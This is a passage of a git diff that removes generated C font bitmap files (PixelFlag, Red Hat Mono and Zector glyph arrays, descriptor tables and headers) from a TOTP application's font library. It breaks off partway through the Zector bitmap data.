0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @442 'D' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @476 'F' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @510 'G' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x00, - 0xCC, - 0x1F, - 0xCC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @544 'H' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @578 'J' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @612 'K' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x06, - 0x0C, - 0x07, - 0x0C, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x06, - 0x0C, - 0x1E, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @646 'M' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x1C, - 0x1E, - 0x7C, - 0x1F, - 0x6C, - 0x1B, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @680 'N' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x1C, - 0x18, - 0x7C, - 0x18, - 0x6C, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x1B, - 0x0C, - 0x1B, - 0x0C, - 0x1E, - 0x0C, - 0x1E, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @714 'P' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @748 'Q' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x1B, - 0x0C, - 0x1B, - 0x0C, - 0x1E, - 0xFC, - 0x1F, - 0xF8, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @782 'R' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xFC, - 0x07, - 0xFC, - 0x1F, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @816 'T' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0xFC, - 0x1F, - 0xFC, - 0x1F, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @850 'V' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x1C, - 0x1E, - 0x18, - 0x06, - 0x60, - 0x03, - 0xE0, - 0x03, - 0xC0, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @884 'W' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xCC, - 0x18, - 0xFC, - 0x1F, - 0x78, - 0x07, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @918 'X' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x18, - 0x06, - 0x78, - 0x07, - 0x60, - 0x03, - 0xC0, - 0x00, - 0xE0, - 0x03, - 0x60, - 0x03, - 0x18, - 0x06, - 0x1C, - 0x1E, - 0x0C, - 0x18, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, - - /* @952 'Y' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x00, - 0x00, - 0x0C, - 0x18, - 0x0C, - 0x18, - 0x18, - 0x06, - 0x78, - 0x07, - 0x60, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x1F, - 0xFF, - 0x1F, -}; - -/* Character descriptors for {PixelFlag} 18pt */ -/* { [Char width in bits], [Offset into pixelFlag_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO pixelFlag_18ptDescriptors[] = { - {13, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {13, 34}, /* 0 */ - {13, 68}, /* 1 */ - {13, 102}, /* 2 */ - {13, 136}, /* 3 */ - {13, 170}, /* 4 */ - {13, 204}, /* 5 */ - {13, 238}, /* 6 */ - {13, 272}, /* 7 */ - {13, 306}, /* 8 */ - {13, 340}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {13, 374}, /* B */ - {13, 408}, /* C */ - {13, 442}, /* D */ - {0, 0}, /* E */ - {13, 476}, /* F */ - {13, 510}, /* G */ - {13, 544}, /* H */ - {0, 0}, /* I */ - {13, 578}, /* J */ - {13, 612}, /* K */ - {0, 0}, /* L */ - {13, 646}, /* M */ - {13, 680}, /* N */ - {0, 0}, /* O */ - {13, 714}, /* P */ - {13, 748}, /* Q */ - {13, 782}, /* R */ - {0, 0}, /* S */ - {13, 816}, /* T */ - {0, 0}, /* U */ - {13, 850}, /* V */ - {13, 884}, /* W */ - {13, 918}, /* X */ - {13, 952}, /* Y */ -}; - -/* Font information for {PixelFlag} 18pt */ -const FONT_INFO pixelFlag_18ptFontInfo = { - "Pixel Flag", - 17, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 0, /* Width, in pixels, of space character */ - pixelFlag_18ptDescriptors, /* Character descriptor array */ - pixelFlag_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/pixelflag/pixelflag.h b/applications/external/totp/lib/fonts/pixelflag/pixelflag.h deleted file mode 100644 index dc339c84d..000000000 --- a/applications/external/totp/lib/fonts/pixelflag/pixelflag.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -extern const FONT_INFO pixelFlag_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.c b/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.c deleted file mode 100644 index e39b6c81c..000000000 --- a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.c +++ /dev/null @@ -1,1058 +0,0 @@ -#include "redhat_mono.h" -#include - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Red Hat Mono 16pt -*/ - -/* Character bitmaps for Red Hat Mono 16pt */ -const uint8_t redHatMono_16ptBitmaps[] = { - /* @0 '-' (12 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xF8, - 0x03, - 0xF8, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @32 '0' (12 pixels wide) */ - 0xF0, - 0x00, - 0xF8, - 0x03, - 0x1C, - 0x07, - 0x0E, - 0x07, - 0x8E, - 0x07, - 0x86, - 0x0E, - 0xC6, - 0x0C, - 0x66, - 0x0C, - 0x66, - 0x0C, - 0x36, - 0x0E, - 0x36, - 0x0E, - 0x1E, - 0x06, - 0x1C, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0x00, - 0x00, - - /* @64 '1' (12 pixels wide) */ - 0x40, - 0x00, - 0x78, - 0x00, - 0x7E, - 0x00, - 0x66, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x00, - 0x00, - - /* @96 '2' (12 pixels wide) */ - 0xF0, - 0x01, - 0xFC, - 0x03, - 0x0E, - 0x07, - 0x04, - 0x06, - 0x00, - 0x06, - 0x00, - 0x07, - 0x00, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0x70, - 0x00, - 0x38, - 0x00, - 0x1C, - 0x00, - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x00, - 0x00, - - /* @128 '3' (12 pixels wide) */ - 0xF0, - 0x00, - 0xFC, - 0x03, - 0x0E, - 0x07, - 0x04, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x80, - 0x03, - 0xE0, - 0x00, - 0xE0, - 0x03, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x0E, - 0x06, - 0x07, - 0xFE, - 0x07, - 0xF8, - 0x01, - 0x00, - 0x00, - - /* @160 '4' (12 pixels wide) */ - 0x00, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x03, - 0xE0, - 0x03, - 0x70, - 0x03, - 0x30, - 0x03, - 0x18, - 0x03, - 0x0C, - 0x03, - 0x0E, - 0x03, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x00, - - /* @192 '5' (12 pixels wide) */ - 0xFC, - 0x07, - 0xFC, - 0x07, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x01, - 0xFE, - 0x07, - 0x00, - 0x07, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x06, - 0x07, - 0xFE, - 0x03, - 0xF8, - 0x01, - 0x00, - 0x00, - - /* @224 '6' (12 pixels wide) */ - 0xE0, - 0x03, - 0xF8, - 0x07, - 0x3C, - 0x06, - 0x0C, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x00, - 0xE6, - 0x03, - 0xFE, - 0x07, - 0x0E, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0E, - 0x1C, - 0x06, - 0xF8, - 0x07, - 0xF0, - 0x03, - 0x00, - 0x00, - - /* @256 '7' (12 pixels wide) */ - 0xFE, - 0x0F, - 0xFE, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x00, - 0x07, - 0x00, - 0x03, - 0x80, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x00, - 0xE0, - 0x00, - 0x60, - 0x00, - 0x70, - 0x00, - 0x30, - 0x00, - 0x38, - 0x00, - 0x1C, - 0x00, - 0x00, - 0x00, - - /* @288 '8' (12 pixels wide) */ - 0xF0, - 0x01, - 0xFC, - 0x03, - 0x1C, - 0x07, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0xBC, - 0x03, - 0xF0, - 0x01, - 0x1C, - 0x07, - 0x0E, - 0x06, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x0E, - 0x06, - 0xFC, - 0x07, - 0xF8, - 0x03, - 0x00, - 0x00, - - /* @320 '9' (12 pixels wide) */ - 0xF8, - 0x01, - 0xFC, - 0x03, - 0x0C, - 0x07, - 0x0E, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0E, - 0xFC, - 0x0F, - 0xF8, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0E, - 0x00, - 0x06, - 0x8C, - 0x07, - 0xFC, - 0x03, - 0xF8, - 0x00, - 0x00, - 0x00, - - /* @352 'B' (12 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x8C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x07, - 0xFC, - 0x03, - 0xFC, - 0x01, - 0x8C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x07, - 0xFC, - 0x07, - 0xFC, - 0x01, - 0x00, - 0x00, - - /* @384 'C' (12 pixels wide) */ - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x0C, - 0x06, - 0x0E, - 0x0E, - 0x0E, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x1C, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0x00, - 0x00, - - /* @416 'D' (12 pixels wide) */ - 0x7E, - 0x00, - 0xFE, - 0x01, - 0xCE, - 0x03, - 0x0E, - 0x07, - 0x0E, - 0x06, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x06, - 0x0C, - 0x07, - 0x8C, - 0x07, - 0xFC, - 0x03, - 0xFC, - 0x00, - 0x00, - 0x00, - - /* @448 'F' (12 pixels wide) */ - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x01, - 0xFC, - 0x01, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - - /* @480 'G' (12 pixels wide) */ - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x0C, - 0x06, - 0x0E, - 0x0E, - 0x06, - 0x00, - 0x06, - 0x00, - 0x86, - 0x0F, - 0x86, - 0x0F, - 0x06, - 0x0C, - 0x0E, - 0x0E, - 0x0E, - 0x06, - 0x1C, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0x00, - 0x00, - - /* @512 'H' (12 pixels wide) */ - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0xFE, - 0x07, - 0xFE, - 0x07, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x00, - 0x00, - - /* @544 'J' (12 pixels wide) */ - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x00, - 0x06, - 0x04, - 0x06, - 0x07, - 0x07, - 0x8E, - 0x07, - 0xFC, - 0x03, - 0xF8, - 0x01, - 0x00, - 0x00, - - /* @576 'K' (12 pixels wide) */ - 0x0E, - 0x0E, - 0x0E, - 0x07, - 0x0E, - 0x03, - 0x8E, - 0x01, - 0xCE, - 0x01, - 0xEE, - 0x00, - 0x7E, - 0x00, - 0x3E, - 0x00, - 0x7E, - 0x00, - 0xEE, - 0x00, - 0xCE, - 0x01, - 0x8E, - 0x03, - 0x8E, - 0x03, - 0x0E, - 0x07, - 0x0E, - 0x0E, - 0x00, - 0x00, - - /* @608 'M' (12 pixels wide) */ - 0x0E, - 0x0E, - 0x0E, - 0x0F, - 0x1E, - 0x0F, - 0x9E, - 0x0F, - 0xB6, - 0x0F, - 0xB6, - 0x0F, - 0xF6, - 0x0E, - 0xE6, - 0x0E, - 0x66, - 0x0E, - 0x46, - 0x0E, - 0x26, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x00, - 0x00, - - /* @640 'N' (12 pixels wide) */ - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x1E, - 0x06, - 0x3E, - 0x06, - 0x3E, - 0x06, - 0x76, - 0x06, - 0x66, - 0x06, - 0xE6, - 0x06, - 0xC6, - 0x06, - 0xC6, - 0x07, - 0x86, - 0x07, - 0x86, - 0x07, - 0x06, - 0x07, - 0x06, - 0x07, - 0x06, - 0x06, - 0x00, - 0x00, - - /* @672 'P' (12 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x8C, - 0x07, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x06, - 0xFC, - 0x07, - 0xFC, - 0x03, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x00, - 0x00, - - /* @704 'Q' (12 pixels wide) */ - 0xF0, - 0x00, - 0xF8, - 0x03, - 0x9C, - 0x07, - 0x0E, - 0x07, - 0x0E, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0x06, - 0x0E, - 0xEE, - 0x0E, - 0xCE, - 0x07, - 0x9C, - 0x07, - 0xFC, - 0x07, - 0xF0, - 0x07, - 0x00, - 0x0A, - - /* @736 'R' (12 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x03, - 0x8C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x0C, - 0x0E, - 0x0C, - 0x07, - 0xFC, - 0x07, - 0xFC, - 0x01, - 0x8C, - 0x01, - 0x8C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x0E, - 0x00, - 0x00, - - /* @768 'T' (12 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0x00, - 0x00, - - /* @800 'V' (12 pixels wide) */ - 0x07, - 0x0C, - 0x06, - 0x0C, - 0x06, - 0x0E, - 0x0E, - 0x06, - 0x0C, - 0x06, - 0x0C, - 0x07, - 0x1C, - 0x03, - 0x1C, - 0x03, - 0x98, - 0x03, - 0x98, - 0x03, - 0xB8, - 0x01, - 0xB0, - 0x01, - 0xF0, - 0x01, - 0xF0, - 0x00, - 0xE0, - 0x00, - 0x00, - 0x00, - - /* @832 'W' (12 pixels wide) */ - 0x67, - 0x0C, - 0xE6, - 0x0C, - 0xE6, - 0x0C, - 0xE6, - 0x0C, - 0xE6, - 0x0C, - 0xF6, - 0x0C, - 0xB6, - 0x0E, - 0xB6, - 0x07, - 0xB6, - 0x07, - 0x96, - 0x07, - 0x9C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x0C, - 0x07, - 0x00, - 0x00, - - /* @864 'X' (12 pixels wide) */ - 0x0E, - 0x0E, - 0x0E, - 0x06, - 0x1C, - 0x07, - 0x98, - 0x03, - 0xB8, - 0x01, - 0xF0, - 0x01, - 0xF0, - 0x00, - 0xE0, - 0x00, - 0xF0, - 0x00, - 0xF0, - 0x01, - 0xB8, - 0x03, - 0x9C, - 0x03, - 0x0C, - 0x07, - 0x0E, - 0x06, - 0x07, - 0x0E, - 0x00, - 0x00, - - /* @896 'Y' (12 pixels wide) */ - 0x07, - 0x0C, - 0x0E, - 0x0E, - 0x0E, - 0x06, - 0x1C, - 0x07, - 0x18, - 0x03, - 0xB8, - 0x03, - 0xF0, - 0x01, - 0xF0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0x00, - 0x00, -}; - -/* Character descriptors for Red Hat Mono 16pt */ -/* { [Char width in bits], [Offset into redHatMono_16ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO redHatMono_16ptDescriptors[] = { - {12, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {12, 32}, /* 0 */ - {12, 64}, /* 1 */ - {12, 96}, /* 2 */ - {12, 128}, /* 3 */ - {12, 160}, /* 4 */ - {12, 192}, /* 5 */ - {12, 224}, /* 6 */ - {12, 256}, /* 7 */ - {12, 288}, /* 8 */ - {12, 320}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {12, 352}, /* B */ - {12, 384}, /* C */ - {12, 416}, /* D */ - {0, 0}, /* E */ - {12, 448}, /* F */ - {12, 480}, /* G */ - {12, 512}, /* H */ - {0, 0}, /* I */ - {12, 544}, /* J */ - {12, 576}, /* K */ - {0, 0}, /* L */ - {12, 608}, /* M */ - {12, 640}, /* N */ - {0, 0}, /* O */ - {12, 672}, /* P */ - {12, 704}, /* Q */ - {12, 736}, /* R */ - {0, 0}, /* S */ - {12, 768}, /* T */ - {0, 0}, /* U */ - {12, 800}, /* V */ - {12, 832}, /* W */ - {12, 864}, /* X */ - {12, 896}, /* Y */ -}; - -/* Font information for Red Hat Mono 16pt */ -const FONT_INFO redHatMono_16ptFontInfo = { - "RedHat Mono", - 16, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - redHatMono_16ptDescriptors, /* Character descriptor array */ - redHatMono_16ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.h b/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.h deleted file mode 100644 index ac9214d6b..000000000 --- a/applications/external/totp/lib/fonts/redhat_mono/redhat_mono.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Redhat Mono 16pt */ -extern const FONT_INFO redHatMono_16ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/zector/zector.c b/applications/external/totp/lib/fonts/zector/zector.c deleted file mode 100644 index c94e455e4..000000000 --- a/applications/external/totp/lib/fonts/zector/zector.c +++ /dev/null @@ -1,1057 +0,0 @@ -#include "zector.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Zector 18pt -*/ - -/* Character bitmaps for Zector 18pt */ -const uint8_t zector_18ptBitmaps[] = { - /* @0 '-' (9 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @32 '0' (9 pixels wide) */ - 0x3C, - 0x00, - 0xC2, - 0x00, - 0x83, - 0x00, - 0x85, - 0x00, - 0x85, - 0x00, - 0x89, - 0x00, - 0x89, - 0x00, - 0x91, - 0x00, - 0x91, - 0x00, - 0xA1, - 0x00, - 0xA1, - 0x00, - 0xC1, - 0x00, - 0xC1, - 0x00, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @64 '1' (9 pixels wide) */ - 0x10, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x14, - 0x00, - 0x14, - 0x00, - 0x12, - 0x00, - 0x12, - 0x00, - 0x11, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0xFF, - 0x00, - - /* @96 '2' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x04, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0xFF, - 0x00, - - /* @128 '3' (9 pixels wide) */ - 0xFF, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x60, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x00, - 0x01, - 0x01, - 0x01, - 0x81, - 0x00, - 0x42, - 0x00, - 0x3C, - 0x00, - - /* @160 '4' (9 pixels wide) */ - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xFF, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - - /* @192 '5' (9 pixels wide) */ - 0xFF, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x3F, - 0x00, - 0x40, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x81, - 0x00, - 0x81, - 0x00, - 0xC2, - 0x00, - 0x3C, - 0x00, - - /* @224 '6' (9 pixels wide) */ - 0x3C, - 0x00, - 0x42, - 0x00, - 0x81, - 